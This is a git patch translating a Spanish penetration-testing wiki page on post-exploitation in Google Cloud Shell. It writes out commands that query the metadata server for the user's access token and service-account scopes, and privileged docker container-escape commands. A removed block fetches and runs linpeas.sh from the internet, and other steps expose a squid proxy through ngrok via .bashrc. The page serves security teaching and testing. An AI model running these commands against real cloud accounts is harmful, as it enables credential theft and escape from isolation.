From 9094acba64ccd2e3db31a1456d2a494180251659 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 8 Dec 2025 11:36:44 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/gcp-security/gcp-post-exploitation --- .../gcp-cloud-shell-post-exploitation.md | 64 ++++++++----------- 1 file changed, 26 insertions(+), 38 deletions(-) diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md index 006b0f262..814f9308b 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md @@ -4,46 +4,46 @@ ## Cloud Shell -Para más información sobre Cloud Shell consulta: +Para más información sobre Cloud Shell, consulta: {{#ref}} ../gcp-services/gcp-cloud-shell-enum.md {{#endref}} -### Container Escape +### Obtiene el token del usuario desde metadata -Ten en cuenta que Google Cloud Shell se ejecuta dentro de un contenedor; puedes **escapar fácilmente al host** haciendo: +Simplemente accediendo al servidor de metadata puedes obtener un token para acceder como el usuario que inició sesión actualmente: +```bash +wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/" +``` +### Container Escape / Uso de Docker + +> [!WARNING] +> Anteriormente el cloud shell se ejecutaba en un contenedor con acceso al docker socket del host. Ahora Google ha cambiado la arquitectura y el contenedor del cloud shell ejecuta una configuración de "Docker in a container". Por lo tanto, incluso si es posible usar docker desde el cloud shell, no podrás escapar al host usando el docker socket. +> Ten en cuenta que anteriormente el archivo `docker.sock` estaba ubicado en `/google/host/var/run/docker.sock`, pero ahora se ha movido a `/run/docker.sock`.
-Container escape commands +Uso de Docker / Comandos antiguos de container escape ```bash -sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest -sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest -sudo docker -H unix:///google/host/var/run/docker.sock start escaper -sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh +sudo docker -H unix:///run/docker.sock pull alpine:latest +sudo docker -H unix:///run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest +sudo docker -H unix:///run/docker.sock start escaper +sudo docker -H unix:///run/docker.sock exec -it escaper /bin/sh ```
-Esto no es considerado una vulnerabilidad por google, pero te da una visión más amplia de lo que está ocurriendo en ese entorno. - -Además, observa que desde el host puedes encontrar un token de cuenta de servicio: +Además, en el pasado era posible encontrar un token para una cuenta de servicio usada por la cloud shell VM en el servidor de metadatos:
-Obtener la cuenta de servicio desde los metadatos +Cuenta de servicio antigua en los metadatos ```bash wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/" default/ vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/ ``` -
- -Con los siguientes scopes: - -
- -Obtener scopes de la service account +Con los siguientes ámbitos: ```bash wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes" @@ -53,23 +53,11 @@ https://www.googleapis.com/auth/monitoring.write ```
-Enumerar metadatos con LinPEAS: -
-Enumerar metadatos con LinPEAS -```bash -cd /tmp -wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh -sh linpeas.sh -o cloud -``` -
+### Usarlo como proxy -Después de usar [https://github.com/carlospolop/bf_my_gcp_permissions](https://github.com/carlospolop/bf_my_gcp_permissions) con el token de la Service Account **no se descubrió ningún permiso**... - -### Usarlo como Proxy - -Si quieres usar tu google cloud shell instance como Proxy, necesitas ejecutar los siguientes comandos (o insertarlos en el archivo .bashrc): +Si quieres usar tu instancia de google cloud shell como proxy necesitas ejecutar los siguientes comandos (o insertarlos en el archivo .bashrc):
@@ -96,7 +84,7 @@ copia el archivo **squid.conf** a **/etc/squid**
-Copiar la configuración en /etc/squid +Copiar configuración a /etc/squid ```bash sudo cp squid.conf /etc/squid ``` @@ -116,15 +104,15 @@ Usa ngrok para que el proxy esté disponible desde el exterior:
-Exponer el proxy con ngrok +Exponer proxy con ngrok ```bash ./ngrok tcp 3128 ```
-Después de ejecutar, copie la URL tcp://. Si quiere usar el proxy desde un navegador, se sugiere eliminar la parte tcp:// y el puerto, y poner el puerto en el campo de puerto de la configuración de proxy de su navegador (squid es un http proxy server). +Después de ejecutar, copia la URL tcp://. Si quieres ejecutar el proxy desde un navegador, se sugiere eliminar la parte tcp:// y el puerto y poner el puerto en el campo de puerto de la configuración de proxy de tu navegador (squid es un servidor proxy http). -Para un mejor uso al iniciar, el archivo .bashrc debería contener las siguientes líneas: +Para un mejor uso al inicio, el archivo .bashrc debería tener las siguientes líneas:
@@ -137,6 +125,6 @@ cd ngrok;./ngrok tcp 3128 ```
-Las instrucciones fueron copiadas de [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key). Revisa esa página para otras ideas locas para ejecutar cualquier tipo de software (bases de datos e incluso Windows) en Cloud Shell. +Las instrucciones fueron copiadas de [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key). Revisa esa página para otras ideas locas para ejecutar cualquier tipo de software (databases e incluso windows) en Cloud Shell. {{#include ../../../banners/hacktricks-training.md}}